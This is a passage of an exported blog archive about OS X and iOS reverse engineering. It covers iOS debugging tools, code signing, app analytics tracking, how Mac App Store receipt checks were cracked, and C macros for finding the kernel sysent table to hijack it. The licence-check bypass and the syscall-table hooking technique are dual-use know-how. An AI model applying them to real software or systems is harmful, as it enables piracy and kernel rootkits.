ptool.pl is able to modify the entry point for the architecture you choose. Ptool.pl also supports two more options to display only the LC_UNIXTHREAD segment (where the entrypoint is shown) and the LC_ENCRYPTION_INFO (required information to manually dump iOS binaries). It’s time to learn some Objective-C/Cocoa and convert them in graphical apps, although I still prefer command line for day to day operations.\nThat’s it for now.\nfG!\ngdbinit-ios-v0.3.gz\nSHA256(gdbinit-ios-v0.3.gz)= 90c7117aa33be72c87de66ac6b75d5c60e423539eb399e9faadcf0bd5569fb8b\nThe latest version can always be found here.\noffset1.3.pl.gz\nSHA256(offset1.3.pl.gz)= 2b091f2ea5fddce3ca22251b8d81578ba708811d4a3d2fdce8ae0c8a7972f1b3\nptool1.3.pl.gz\nSHA256(ptool1.3.pl.gz)= 715481e62978c183ccd82311acb6ccced2d12cab76a0c9ffb0345d653bce37ba\n","permalink":"https://reverse.put.as/2011/02/03/another-update-to-gdbinit-for-ios-and-arm-support-to-ptool-pl-and-offset-pl/","summary":"I have fixed some of the missing stuff in gdbinit for iOS. Now the jump conditions are displayed for ARM and Thumb modes and the stepo command is working for ARM and semi-working for Thumb (to be fixed in the next release). Also implemented minor cosmetic changes.\nThe tools to show Mach-O header information and calculate offsets to be patched were also updated to support ARM binaries. Offset.pl is by default interactive (you can choose from the available architectures in the binary, if fat), and ptool.","title":"Another update to gdbinit for iOS and ARM support to ptool.pl and offset.pl"},{"content":"Well this one is driving me crazy so better ask for some help before I fire the big guns and go commando mode with this.\nI’m trying to patch iOS apps so I can remove “spyware” and other stuff. Newest iOS versions require all code to be signed. This article by Saurik talks about 3 different ways to workaround this problem without a developer certificate (an idea that crossed my mind is to configure the kernel only to accept Apple’s certificates and my certificate, to avoid rogue stuff like worms [I have to see if code signing is effective against code injection for example]). I don’t like number 3 due to associated security problems so I have to work with the other two. The first problem is that the available ldid seems to have some problems with armv7 binaries (iPad and iPhone4?) – a fixed version that runs in OS X is available here. I try to resign/add new signature to the modified binaries but the checksums don’t change so ldid doesn’t seem to work. I can sign the binaries without any problem in OS X using a self signed certificate. But here lies my problem. Let me describe my scenario\u0026hellip;\nI have an unencrypted app running. I copy the main binary to OS X and patch whatever I want. I resign the binary (method #1 or #2) and replace it in the iPad. I try to run the binary and iOS refuses to do so. If I remove the kernel flag (#3) it works so there aren’t problems with the binary itself. Restore the kernel flag, kill the process, try to run again and it refuses. So I did another test. Since I have the ipa file for the unencrypted app, I replace the binary inside it with my newly patched one, delete the app from iPad and iTunes, and install the new modified ipa. Try to run the newly installed modified app and it works! WTF?\nI had read somewhere about iTunes adding something to the keychain (I memorized one thing, that iOS keychain was very simple with just three methods available) when apps were synced/installed (I can’t seem to find back this article – !#\u0026amp;%”#/\u0026amp;%#”\u0026amp;”#\u0026amp;!). My test appears to confirm something like this else the new modified app would also fail.\nSo my question is if it’s possible to modify the main binary and resign it, without having to reinstall the whole app again. Am I missing something? I can’t seem to find any valuable info about this.\nAnyway, contrary to what I thought, might be very interesting related to protections and other tricks. The following links, 1 2 3 4, show that there are possibilities to implement protections. My (wrong!) idea was that Apple didn’t allow this kind of stuff in the app approval process. Well that PiOS article and this presentation changed this. It’s very possible to bypass Apple verification process and do something nasty into thos iOS devices (I’m worried regarding corporate security and my personal stuff). Well, to my defense, I must say that I always found intriguing how Apple could, efficiently, verify throughly all the code for each app – that never added into my mind but I never bothered to check heehheh.\nUpdate:\nFound a pretty interesting presentation from Hack in the Box 2010 about iPhone security model.\n","permalink":"https://reverse.put.as/2011/01/28/need-help-with-code-signing-in-ios/","summary":"Well this one is driving me crazy so better ask for some help before I fire the big guns and go commando mode with this.\nI’m trying to patch iOS apps so I can remove “spyware” and other stuff. Newest iOS versions require all code to be signed. This article by Saurik talks about 3 different ways to workaround this problem without a developer certificate (an idea that crossed my mind is to configure the kernel only to accept Apple’s certificates and my certificate, to avoid rogue stuff like worms [I have to see if code signing is effective against code injection for example]).","title":"Need help with code signing in iOS!"},{"content":"I just finished porting gdbinit to iOS. The basic stuff is working except the stepo command (one of my favourites!), the Objective-C selector and showing what will happen with conditional branches (I have to see how to implement this since ARM instructions can be conditional). I have tested it on my iPad with GDB available from Cydia (it seems you can use Apple’s version) and it works, so it should give no special problems with other iOS devices.\nI had some problems implementing the commands to change conditional flags because this GDB version has the cpsr register (equivalent to eflags in x86) into a structure (found out after checking the source code hehe). Fortunately, we can see this variable as a structure (with the great command ptype (whatis is also useful), which I just discovered now – I don’t know everything about GDB hehehe!) and workaround this “problem”.\nIf you find any problem feel free to leave a comment or email me.\nHave fun,\nfG!\nHere it is:\ngdbinit-ios-v0.1.gz\nSHA256(gdbinit-ios-v0.1.gz)= 26cfdb0894d9c793abf5ccc2c780b574eddfc4826641f28b9796742bfe3b1b24\nThe latest version can always be found here.\n","permalink":"https://reverse.put.as/2011/01/27/gdbinit-v0-1-for-ios-ipad-at-least/","summary":"I just finished porting gdbinit to iOS. The basic stuff is working except the stepo command (one of my favourites!), the Objective-C selector and showing what will happen with conditional branches (I have to see how to implement this since ARM instructions can be conditional). I have tested it on my iPad with GDB available from Cydia (it seems you can use Apple’s version) and it works, so it should give no special problems with other iOS devices.","title":"gdbinit v0.1 for iOS (iPad at least :-))"},{"content":"These days I’ve been messing around with DTrace and the mach side of OS X kernel. I still have to figure out how to make DTrace helpful in reversing protections and other stuff – I’m talking about efficiency in finding the right spots and gathering information. It’s a very powerful tool for system administration but has some shortcomings regarding reversing. Today I was a bit tired due to lack of proper sleep time so I started messing with the iPad.\nOne thing that I was looking for since the beginning was a way to tunnel all connections via a ssh SOCKS proxy. The available iOS ssh applications don’t support this option (only regular tunnels) so I went searching for a way to do it. This applies of course to jailbroken devices (while I understand Apple’s decision on making iOS sandboxes, the reverser side of me would request for a jailbreak on/off switch , meaning that Apple would allow you to run whatever you want, your responsibility – that would be fun, I love the iPad!). Back on track\u0026hellip;\nThere are three major ways to create the tunnel:\nCreate the tunnel in a desktop/server/laptop machine. In this scenario you connect your computer to the remote host and create a dynamic forward available to the iPad (or the local network/world). After this you point the iPad to this local proxy and that’s it. The problem is that you need another computer to do this (besides the remote ssh server that will be the new gateway), so it’s rather incovenient if you are outside your local/home network. It has another disadvantage that will I show you later.\nOpen a terminal to the iPad, connect to the ssh server and create the dynamic forward (only for localhost). Now we just need to point the iPad to the localhost proxy. Much cleaner and much better on the road. For this you will need a terminal app. I tried MobileTerminal and it does the job (you need to add http://apt.macosmovil.com to Cydia sources/repos and download from there – the version available at Cydia default sources doesn’t work!). The app doesn’t seem to support multitask and when you change to other apps you lose the session (although the ssh process runs in background so it’s not a problem). You can install screen to solve this.\nUse a ssh application to connect to your iPad (assuming you are running OpenSSH), then connect to the ssh server and create the dynamic forward. You should have a proxy also on localhost. I don’t like this method so much because I don’t use passwords for ssh access, only public/private keys. I still don’t trust the iPad apps enough to leave my private keys there.\nThe next step is to configure the proxy. You do this on the wireless definitions. There’s no direct support for SOCKS proxy, so one needs to configure this via an automatic proxy configuration file. To configure this, you create the file and put it somewhere in a webserver, either local network or Internet (the Internet option is better since it’s available anywhere; you could run an http server in the iPad but I think it’s a waste of memory, which is scarce here). Here’s an example of a proxy.pac configuration for a SOCKS proxy:\nfunction FindProxyForURL(url, host) { return “SOCKS localhost:8080”; } This example configures the iPad to access a SOCKS proxy in the localhost at port 8080 (options #2 and #3). For option #1 you need to configure it to IP/port of the local server where you made the proxy available. Now you can test and see if it’s working. To be sure traffic is being forwarded via the tunnel, you can either sniff at the iPad (install tcpdump) or at the remote server (tcpdump eth0 port 80, for example) and verify if traffic is being forwarded to the remote server or leaving the gateway to the site we are trying to access. Since this is a global setting, all apps will use forward their traffic thru the tunnel.\nReference: http://apple.stackexchange.com/questions/5308/how-to-connect-to-a-socks-proxy-from-an-iphone-ipod-touch\nAs I was saying, I still don’t trust iPad apps due to their rather opaque nature – one cannot easily see what they are doing and I don’t like this loss of control. This is delaying the transition of some of my tasks to the iPad. While I was verifying if the tunnel was working, I saw some interesting packets coming out of Angry Birds game. It was sending all my gaming information to a remote site, what I did at each level! Check this small excerpt of a packet capture:\n0x02f0: 0000 0c4c 6576 656c 2066 6169 6c65 6400 …Level.failed. 0x0300: 0400 054c 6576 656c 0004 332d 3133 000f …Level..3-13.. 0x0310: 4269 7264 7320 6176 6169 6c61 626c 6500 Birds.available. 0x0320: 0133 0008 4174 7465 6d70 7473 0001 3100 .3..Attempts..1. 0x0330: 0a42 6972 6473 2075 7365 6400 0133 0000 .Birds.used..3.. The initial request also sends your UUID, iOS version, locale, and probably other information. There is an interesting paper here talking about this and also the Wall Street Journal articles about this. I find it amusing that companies say it’s not spyware but analytics, but then flurry.com reverses to an obscure domain called 411gift.com with opaque domain registration. If it’s so benign why do you need these tricks?\nI knew there were privacy problems but I didn’t explored it enough to see how deep they were. It seems that analytics “spyware” is widespread in iOS (and also Android) apps and I don’t like it. Cydia appstore has a firewall similar to Little Snitch, but I prefer the harder way to explore iOS and find a way to block this kind of crap – obvious solution is to mask UUID or something, but I still have to research about the impact of this. Another solution is to decrypt all apps and patch that spyware crap. Another project to the TODO list. I will have to review every single app I use\u0026hellip; Damn, security and privacy are painful.\nHave fun,\nfG!\nP.S.: Another interesting paper here. I love the iPad but the amount of information leakage worries me. I’m glad we can modify the binaries as we wish!\n","permalink":"https://reverse.put.as/2011/01/22/how-to-make-an-ipad-connect-thru-a-ssh-socks-proxy-ios-spyware/","summary":"These days I’ve been messing around with DTrace and the mach side of OS X kernel. I still have to figure out how to make DTrace helpful in reversing protections and other stuff – I’m talking about efficiency in finding the right spots and gathering information. It’s a very powerful tool for system administration but has some shortcomings regarding reversing. Today I was a bit tired due to lack of proper sleep time so I started messing with the iPad.","title":"How to make an iPad connect thru a ssh SOCKS proxy + iOS \"spyware\""},{"content":"I shouldn’t be posting this because the guy doesn’t deserve any traffic he might get by writing this. But it’s so funny that I cannot resist (yes, I’m weak).\nThe blog post is called \u0026ldquo;I Can Crack Your App With Just A Shell (And How To Stop Me)\u0026rdquo; and it’s available here. I especially like his advice because it shows he doesn’t know nothing about protecting apps and I have the feeling on that second article he links being a complete ripoff from one or two articles around the web. Just cut the crap and publish tutorials on interesting stuff or create some cool packers and that sort of things so we can have fun targets to reverse! Yes, this post is also crap.\nOk, back to Dtrace User guide! Almost reaching the juicy parts. I still have to find a way to make DTrace useful in reversing protections (by this I mean faster and easier than disassembling the binaries) but it will help me with this exit(173) thing (learning some stuff about OS X that I never bothered to).\nHave fun,\nfG!\nP.S.:\nJust found out two interesting links (from root labs rdist blog), one book and one article.\nSurreptitious Software: Obfuscation, Watermarking, and Tamperproofing for Software Protection Advanced Software Protection Now (it’s from 2003 and I haven’t read it yet but it looks interesting!) ","permalink":"https://reverse.put.as/2011/01/17/why-cracking-the-vast-majority-of-mac-apps-isnt-that-sexy/","summary":"I shouldn’t be posting this because the guy doesn’t deserve any traffic he might get by writing this. But it’s so funny that I cannot resist (yes, I’m weak).\nThe blog post is called \u0026ldquo;I Can Crack Your App With Just A Shell (And How To Stop Me)\u0026rdquo; and it’s available here. I especially like his advice because it shows he doesn’t know nothing about protecting apps and I have the feeling on that second article he links being a complete ripoff from one or two articles around the web.","title":"Why cracking the vast majority of Mac apps isn’t that sexy..."},{"content":"This will be a working in progress so this post might be updated a few times.\nAs promised, a reader sent me the Mac App Store (MAS) validation guidelines (thank you again!) and I got curious about one detail, the exit(173). This guides states if application fails to validate the receipt because it’s not present, then it should exit with status 173. This status will be interpreted by the system and it will try to obtain a valid receipt – this is the reason why you see that message asking for Sign in when the receipt isn’t valid and you can see the email address of the guy who released that app to the wild.\nSo I got interested in trying to understand how is this done and who is responsible for interpreting that status. I started by diff’ing the 10.6.6 and 10.6.5 kernels but the changes are minimal and don’t appear to be the source of this. I also messed around (lightly) libSystem.B.dylib and couldn’t find any changes around exit() implementation. Weird\u0026hellip;\nToday I got back to this after reading a post about store_helper being the responsible daemon for that message. It’s a small program and you can see right away CFMessagePort code. store_helper opens a message port to receive messages and they are process by a callout (at 0x209E). This helper is also using Grand Central Dispatch technology to take advantage of multicore CPUs (you can see the callout submitting the message to the queue and the queue is created before the message port is opened). The main “helper” program is storeagent. This one also opens a message port and also uses GCD.\nMy theory is that storeagent receives the status from exit(173) and then dispatches a message to store_helper. If you rename storeagent, no sign in message will appear. I couldn’t yet intercept storeagent sending messages to store_helper so I still have to verify this.\nI was trying to find who is sending the message to storeagent. My idea is to trace exit(173) from the protected app and have a breakpoint on storeagent where it receives the messages. But I’m facing a weird problem. The MAS apps do not run from the command line if you execute the main binary only. The only way is to issue open blabla.app. If I call the main binary directly, the sign in message box never appears – I can verify this because store_helper never receives a message. Storeagent (process dies after a few seconds if not used) is also never executed/called. I will have to understand why this is happening – any ideas? The exit code is correct, 173, 0255 in octal.\nAlso, does anyone have/knows a quick Dtrace script or something else to trace the messages? I’m interested in finding the origin of each message. I really need to close that item in my todo list that says DTrace.\nThat’s it for now. Tomorrow is time to get back to this!\nfG!\n","permalink":"https://reverse.put.as/2011/01/15/reversing-the-exit173-from-the-mac-app-store/","summary":"This will be a working in progress so this post might be updated a few times.\nAs promised, a reader sent me the Mac App Store (MAS) validation guidelines (thank you again!) and I got curious about one detail, the exit(173). This guides states if application fails to validate the receipt because it’s not present, then it should exit with status 173. This status will be interpreted by the system and it will try to obtain a valid receipt – this is the reason why you see that message asking for Sign in when the receipt isn’t valid and you can see the email address of the guy who released that app to the wild.","title":"Reversing the exit(173) from the Mac App Store"},{"content":"I have just finished reading the legal papers served against Geohot regarding the PS3 jailbreaking/cracking/private keys/etc. It shows the sad state that we have reached into reverse engineering and society as a whole. It’s a fight between knowledge and profit, and in the middle there is a grey area called piracy.\nMy passion for knowledge is very deep and I like to try to understand everything I can. I remember the day I had my Commodore Amiga 500 and someone sent me a disk with a special menu that I never saw before. I spent a few days to understand how it was done. I started into breaking protections because of that magical aura around hardware dongles – they were said to be unbreakable or very hard to beat, which is of course the type of thing that curious people love to heard since they mean a challenge. I love to share information and knowledge because that forces me to keep searching for more, better and innovative information. That’s why I created this blog 3 years ago – very few information regarding OS X reversing was available. The result is that more people are reversing into OS X although the results and tools produced don’t seem to follow such increase.\nI deeply understand the motivations behind breaking consoles protections (Bunnie’s \u0026ldquo;Hacking the XBOX\u0026rdquo; book is a great read about this) and showing to the world the results. Most of us are purely driven by curiosity and knowledge (and public acknowledgement is always a great ego booster – we Humans require maintenance to our egos!) and usually don’t think about the consequences or down play them (well most are good intentioned).\nThe problem is that the world these days is driven by greed – everyone wants to have more money, preferably without working too much. And that’s why we arrived to this clash between knowledge and profits. We want our own work to be valued (in the form of a job, for example) but then we don’t respect others work. Of course companies aren’t the good side of this story – they also abuse their customers and took so many bad decisions that we as a society stopped believing them. And so we entered in a war that it’s getting worst everyday. Instead of increasing transparency and public information, like Wikileaks propaganda wants to impose us, everything will get worst – information will be more restricted and penalties for those who are curious will increase, if they come public with their findings. Taking information private will be worse for the society, very few will take a chance to publish it since these new “crimes” are being punished with harsh sentences, in some countries higher than rape and robbery! This is crazy!\nIt’s sad watching knowledge going private\u0026hellip;\n","permalink":"https://reverse.put.as/2011/01/12/the-sad-state-of-reverse-engineering-softwarehardware-protections/","summary":"I have just finished reading the legal papers served against Geohot regarding the PS3 jailbreaking/cracking/private keys/etc. It shows the sad state that we have reached into reverse engineering and society as a whole. It’s a fight between knowledge and profit, and in the middle there is a grey area called piracy.\nMy passion for knowledge is very deep and I like to try to understand everything I can. I remember the day I had my Commodore Amiga 500 and someone sent me a disk with a special menu that I never saw before.","title":"The sad state of reverse engineering software/hardware protections"},{"content":"The Mac App Store opened yesterday and a few hours after the web is already full of news about the hacking/cracking/defeat/whatever of the store. When I heard about the Mac App Store, I became curious about how it would handle the serial and other protections of normal applications. I had read an article/news that talked about no more serials since the App Store would handle that – this is logical since you pay first to download the application, so the payment problem is solved. The big question was, how will Apple avoid people copying the applications from one computer to the other? And what extra-protections could developers implement since Apple has some restrictive rules in their App Store, as an example, it bans non-api and other tricks in iOS applications.\nI just bought an iPad and had no much time yet to play with it (although it’s already jailbroken but not untethered since I arrived too late to the party and have no SHSH for 4.2b3 eheh). What I could see is that there’s no lack of cracked copies of App Store apps/games/etc. I had read some tutorials about cracking iOS apps, and from what I remember, the method was a memory dump (they are encrypted) and then apps required a little extra work. I think there is an application for iOS that does this work automatically or in a few easy steps – that could explain the large availability of apps. Is the same model to be applied to Mac App Store? Doesn’t seem so\u0026hellip;\nThe first cracking method to appear was to replace the so called receipt file; you just needed to download one free app and then use its receipt in other paid applications that someone just copied from their computer (someone must buy the app first!). The first reports attributed this to a compliance failure with Apple guidelines regarding how to handle the receipts. Developers didn’t followed those guidelines and their implementation was short and weak (many dongle implementations in applications were broken due to this lazyness).\nAnyway, this got me thinking about the whole \u0026ldquo;protection\u0026rdquo;. Some guys (here and here) were telling that developers should hardcode the receipt ID and so on, like that is going to solve something\u0026hellip;\nIf the protection is only based on some checksumming against a certificate with no encryption whatsoever in the application (this wouldn’t matter most as iOS cracked apps show, but it would raise another barrier), then it’s just a matter of replacing that information and patch where appropriate. Luckily today, there were two different releases of Angry Birds, one of the apps that didn’t fully implemented Apple’s guidelines. One was an “independent” release and the other by Lz0 warez group. The independent release has the _MASReceipt folder while the Lz0 stripped it, and that’s why it’s interesting to diff the two releases. Diffing them, we have the following major differences:\nThere are two bytes changed at the header. Need to research what is the impact of this. A byte patched: jz to jump. The receipt/signature/whatever inside the binary is patched/replaced, with a new certificate generated by Lz0. The Lz0 binary is a few bytes shorter, probably due to certificate changes. Number 2 is interesting because it is patching the signature check.\n0013DE4E E8 5B CA 00 00 call __Z10verify_sigPKc ; verify_sig(char const*) 0013DE53 85 C0 test eax, eax 0013DE55 74 0C jz short loc_13DE63 0013DE57 C7 04 24 AD 00 00 00 mov dword ptr [esp], 0ADh ; int 0013DE5E E8 35 B2 03 00 call _exit I’m not sure if this is standard (per API/guidelines) or developers implementation (not enough samples to judge it). Either way, it’s very weak since it can be easily tracked and without much effort – you would run the app from the command line, observe the exit and quickly try to breakpoint on exit().\nUpdate: This isn’t standard but something from Angry Birds developers. It’s good to understand the verification process. Flight Control HD implements this in a different way but also linked against libcrypto (the “crack” crashes before reaching the verification process). I still have to do some more tests and see if the application can run by only patching this or if we really need to replace the certificate (Lz0 could be trying to mask the original download; the independent release has the Apple ID used splashed on it – some Russian email address heheh).\nNow what I really want is to reverse and verify an app that fully complies with Apple’s guidelines. Can someone point me to such app and send a copy to me, or at least give me the name so I can buy it myself and do some tests? Flight Control HD was also released but I can see the receipt folder and no certificate embedded in the program.\nI’m very curious about this one and my bet is that the whole security model is broken by design. This could also be on purpose and a bet that the App Store would reduce piracy levels – it’s easy to purchase and install apps, and the prices, generally, are lower. iOS developers appear to be happy with their revenue levels. I must admit that the iTunes store experience is very good and now I understand why the iPad and iPhone are such a success both for Apple and developers.\nAnother interesting thing is to see if the apps can run on 10.6.5 or lower. If you put them on 10.6.5, there’s a nice prohibited signed over the app icon and when you run a warning message appears. Hummmmmmmmmmmmm!!!\nTime to research a little deeper on this! Feel free to add some more insight into this.\nOh, and also eager to see what that KickBack cracking applicaton is all about\u0026hellip;\nfG!\nP.S.: Does anyone has access to official Apple security guidelines for Mac App Store? Requires access to the paid developers program.\nP.S.2: Sample code for receipt validation available here.\n","permalink":"https://reverse.put.as/2011/01/07/the-mac-app-store-security-broken-by-design/","summary":"The Mac App Store opened yesterday and a few hours after the web is already full of news about the hacking/cracking/defeat/whatever of the store. When I heard about the Mac App Store, I became curious about how it would handle the serial and other protections of normal applications. I had read an article/news that talked about no more serials since the App Store would handle that – this is logical since you pay first to download the application, so the payment problem is solved.","title":"The Mac App Store... Security broken by design?"},{"content":"The original method to hijack sysent table was described by Landon Fuller and then Braden Thomas updated it to Snow Leopard due to new location and lack of nsysent symbol. Charlie Miller and Dino Dai Zovi at The Mac Hacker’s Handbook, have some code to try to automate this search for sysent. I never tried it before and today I decided to hack around it. It suffers from the problem of no nsysent symbol (is there a way to fix it? I remember I tried when Snow Leopard was out but couldn’t work around it), so we need to hardcore its address. Fortunately this address has been in a rather stable range, so we can use one value and work on that range. The same applies to the offset from nsysent symbol to sysent table.\nThe basic code (slightly modified from the original since it was for Leopard, typos included) is like this:\n#define is_small(x)\t(*(x)\u0026gt;=0 \u0026amp;\u0026amp; *(x)\u0026lt;100) #define is_addy(x)\t(*(x)\u0026gt;10000) #define is_optional_addy(x)\t(*(x)==0 || *(x)\u0026gt;10000) #define is_stuct_sysent(x)\t( is_small(x) \u0026amp;\u0026amp; is_addy((x)+1) \u0026amp;\u0026amp; is_optional_addy((x)+2) \u0026amp;\u0026amp; is_optional_addy((x)+3) \u0026amp;\u0026amp; is_small((x)+4) \u0026amp;\u0026amp; is_small((x)+5) ) #define is_sysent(x)\t(is_stuct_sysent((x)) \u0026amp;\u0026amp; is_stuct_sysent((x+6)) \u0026amp;\u0026amp; is_stuct_sysent((x+12)) \u0026amp;\u0026amp; is_stuct_sysent((x+18)) \u0026amp;\u0026amp; is_stuct_sysent((x+24)) ) static struct sysent *find_sysent () { (...) unsigned int *looker = (unsigned int *) ( 0x00831790 - 0x3000 ); while(!is_sysent(looker)) { looker++; } printf(\u0026#34;[onyx-the-black-cat] Found sysent table at %x\\n\u0026#34;, looker); (...) You can adapt the find_sysent to include this change and use the found value to double check if it’s really sysent and hijack it. You might need to adjust the value that is substracted, but it successfully identified sysent for 10.6.3 and 10.6.5. There is room for improvement in those macros, since they generate some false positives in other ranges. One idea is to add the remaining fields of sysent structure, which should reduce the possible amount of false positives.\nThat’s it for now. I’ve been working on improving some tools but they will not be released. The fuss about Protools at MSJ remembered me that the majority of people just want to pirate software and free stuff, knowledge is a secondary or not even important. The economic crisis has shown us the results of greed, and greed is something that I really hate! These days I also had a user asking for help but he was annoyed by my lack of cooperation – I wasn’t pointing him to basic stuff. Well, that basic stuff is available at my blog and over the web. I really hate people who don’t make an effort to learn, research and study. Might be a personal flaw but it’s something that I strongly believe: No effort, No gain! He was also pissed off by losing 3 days around a simple crackme without advancing. Who said cracking is easy and rewarding all the time?\nTo finish, just a little publicity to a magnificient App that I started using and love: Alfred. Buy it if you really use the advanced features (of course you can crack it as personal curiosity but pay for it if you really use those features, the rest of the app is free and it rocks!).\nHave fun,\nfG!\nP.S.: The problem with nsysent seems to be related to this.\n","permalink":"https://reverse.put.as/2010/11/27/a-semi-automated-way-to-find-sysent/","summary":"The original method to hijack sysent table was described by Landon Fuller and then Braden Thomas updated it to Snow Leopard due to new location and lack of nsysent symbol. Charlie Miller and Dino Dai Zovi at The Mac Hacker’s Handbook, have some code to try to automate this search for sysent. I never tried it before and today I decided to hack around it. It suffers from the problem of no nsysent symbol (is there a way to fix it?","title":"A semi-automated way to find sysent"},{"content":"Hi,\nThere is a new GDB Cocoa frontend in town courtesy of Kurt. It’s still in early stages but it’s always interesting to have people developing tools for OS X. Congrats to Kurt. You can contact him at kurt@osxdbg.co.cc for bug reporting!\nI also bring you two pics from an old HardLock dongle that I found while tidying up some drawers. It’s a parallel port HardLock Eye v4.1b, and it has like 8 years or more (can’t really remember heheh). When I started reversing 15+ years ago, dongles were at the top of the chain and so that’s what I wanted to beat. There were some really good guys doing it, such as Crackz, and I had great appreciation for the ones that reversed the dongle ASICs – hardware reversing is something that misses on my portfolio and that I would love to learn (maybe some day if real life allows it). So here it is the dongle in full glory (although it’s a pretty simple piece of hardware heheh):\nGrab the debugger here:\nosxdbg installer.dmg\nSHA1(osxdbg installer.dmg.zip)= 85726fdbaae969abf000555f25a67eff28ad0fd1\nThat’s it for now. Real life is calling.\nfG!\n","permalink":"https://reverse.put.as/2010/10/11/a-new-gdb-frontend-and-some-pics-from-the-past/","summary":"Hi,\nThere is a new GDB Cocoa frontend in town courtesy of Kurt. It’s still in early stages but it’s always interesting to have people developing tools for OS X. Congrats to Kurt. You can contact him at kurt@osxdbg.co.cc for bug reporting!\nI also bring you two pics from an old HardLock dongle that I found while tidying up some drawers. It’s a parallel port HardLock Eye v4.1b, and it has like 8 years or more (can’t really remember heheh).","title":"A new GDB frontend and some pics from the past"},{"content":"Today I decided to give a look at Challenge #3 since it promised nasty tricks. Now that looks like a challenge and I love challenges! If you think this is a spoiler then stop reading and come back in a week or so. There is no solution for the challenge; I’m more interested in the “nasty” trick used and why the tools are failing. And I don’t need the Challenge itself to analyse this behavior since I can reproduce it with own code. I have other things to do, so I need to get this out of my mind and maybe someone else can contribute to this analysis.\nLet the games begin!\nAs usual, I started to analyse this challenge by trying to disassemble it with otx. The result was empty, as if __text section can’t be read. Hummm that’s weird. GDB is the next victim\u0026hellip; Launch GDB, select binary, run\u0026hellip; BANG! GDB not able to run the program. This is getting interesting! So let’s read the Mach-O headers to understand what’s happening here.\n$ otool -l Cactus Cactus: Load command 0 cmd LC_SEGMENT cmdsize 56 segname __TEXT vmaddr 0x0000b000 vmsize 0x0000468f fileoff 0 filesize 15789 maxprot 0x00000007 initprot 0x00000007 nsects 0 flags 0x0 Load command 1 cmd LC_UNIXTHREAD cmdsize 80 flavor i386_THREAD_STATE count i386_THREAD_STATE_COUNT eax 0x00000000 ebx 0x00000000 ecx 0x00000000 edx 0x00000000 edi 0x00000000 esi 0x00000000 ebp 0x00000000 esp 0x00000000 ss 0x00000000 eflags 0x00000000 eip 0x0000e79c cs 0x00000000 ds 0x00000000 es 0x00000000 fs 0x00000000 gs 0x00000000 The binary has only 2 commands and there is no __text section. This is not an usual binary. From other projects I know this is possible and there are at least two articles about this. After searching my bookmarks I found Amit Singh\u0026rsquo;s post about this here (have I told you that his book rocks? buy it!). The posted code for tiny.asm doesn’t work in Snow Leopard (I remember it works in Leopard), so here is the working version (we just need to specify nsects and flags – the kernel parser must have been updated in Snow Leopard).\n; tiny.asm for Mac OS X (Mach-O Object File Format) ; nasm -f bin -o tiny tiny.asm BITS 32 org 0x1000 db 0xce, 0xfa, 0xed, 0xfe ; magic dd 7 ; cputype (CPU_TYPE_X86) dd 3 ; cpusubtype (CPU_SUBTYPE_I386_ALL) dd 2 ; filetype (MH_EXECUTE) dd 2 ; ncmds dd _start - _cmds ; cmdsize dd 0 ; flags _cmds: dd 1 ; cmd (LC_SEGMENT) dd 56 ; cmdsize db \u0026#34;__TEXT\u0026#34; ; segname db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ; segname dd 0x1000 ; vmaddr dd 0x1000 ; vmsize dd 0 ; fileoff dd filesize ; filesize dd 7 ; maxprot dd 5 ; initprot dd 0 ; nsects dd 0 ; flags dd 5 ; cmd (LC_UNIXTHREAD) dd 80 ; cmdsize dd 1 ; flvaor (i386_THREAD_STATE) dd 16 ; count (i386_THREAD_STATE_COUNT) dd 0, 0, 0, 0, 0, 0, 0, 0 ; state dd 0, 0, _start, 0, 0, 0, 0, 0 ; state _start: xor eax,eax inc eax push byte 42 sub esp, 4 int 0x80 ; _exit(42) filesize equ $ - $$ otool isn’t able to disassemble this binary (otx uses otool) but this time GDB is able to run. The difference is that breakpoints aren’t enforced! IDA is able to disassemble the binary directly (else we could point it to the right place taking the EIP as our starting point).\nSince I had an idea why otool was failing, I quickly checked its source code to be sure that was the problem (otool is part of cctools package available at Apple Developer Program, if you are interested in checking it). The following can be found at otool/main.c:\nelse if(cputype == CPU_TYPE_I386) j = i386_disassemble(sect, size - i, cur_addr, addr, object_byte_sex, relocs, nrelocs, symbols, NULL, nsymbols, sorted_symbols, nsorted_symbols, strings, strings_size, indirect_symbols, nindirect_symbols, cputype, load_commands, ncmds, sizeofcmds, verbose); The function i386_disassemble is located in otool/i386_disasm.c. Only sections are disassembled and since there is none in the binary then otool can’t disassemble it. Proof is easy since that’s the difference between tiny.asm and nicertiny.asm. I further tested this by manually adding that section to the Cactus.app binary; otool was able to disassemble it without problems (although a 100% correct disassembly is another story). I presume that GDB has the same problem since I think there was/is a common code base for the disassembler and other parts (or similar, cannot recall by memory since last time I messed with GDB source code was one year ago).\nI tried some experiments with GDB and before writing this I had the idea that it could breakpoint after I added the __text section. I can’t reproduce it again so I must have confused with other test binaries I had. I don’t know why GDB isn’t able to breakpoint these binaries (with or without __text section). I suspect it might have to do with alignment or something. For example, I have tried to compile GNU GDB latest 7.1 version and it can’t even parse these binaries. It crashes like this:\ngdb$ file ~/Projects/macserialjunkiechallenge10/Challenge3/tiny Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000010 0x00000001001e10c8 in bfd_mach_o_read_symtab_symbols (abfd=0x1007c2f40) at mach-o.c:1835 1835\tif (sym-\u0026gt;symbols) I have tried to pack some test binaries with UPX and same thing happens (you don’t need to be Sherlock Holmes to see that Challenge #3 is UPX packed). GDB isn’t able to execute the breakpoints, either software or hardware. A quick Google search hasn’t returned any valid information about this.\nWhile this isn’t a big problem for reversing Challenge #3, this could be an issue with more advanced and complex packers. We can attach GDB to Challenge #3 without any problem after the unpacking and dump whatever we need (hint: there’s an even easier solution for this case) – don’t forget that vmmap is also messed up in Snow Leopard. But we could miss important stuff in other packers and this could be a good anti-debug trick (maybe IDA debugger is able to do it, I don’t use it). otool gets confused while disassembling some instructions from Challenge #3 so there is also something else playing in that binary (that could explain why the binary doesn’t even run under GDB).\nNow, who can give some hints about this? I’m very much curious about it but I don’t want to spend more time due to other matters that call my attention – GDB source is a pain to read and navigate thru.\nHave fun,\nfG!\nUpdate 1:\npsaghelyi left a link in another post to his tool, MachOView. For now it’s a graphical otool -l, that allows you to explore the Mach-O header of binaries. It has potential to be a nice tool as soon as he adds editor capabilities. Help him and contribute to the code.\nWe need such a tool! Mac is sexy so we need sexy graphical tools!\n","permalink":"https://reverse.put.as/2010/08/18/gdb-anti-debug-otoolotx-anti-disassembly-its-challenge-number-3/","summary":"Today I decided to give a look at Challenge #3 since it promised 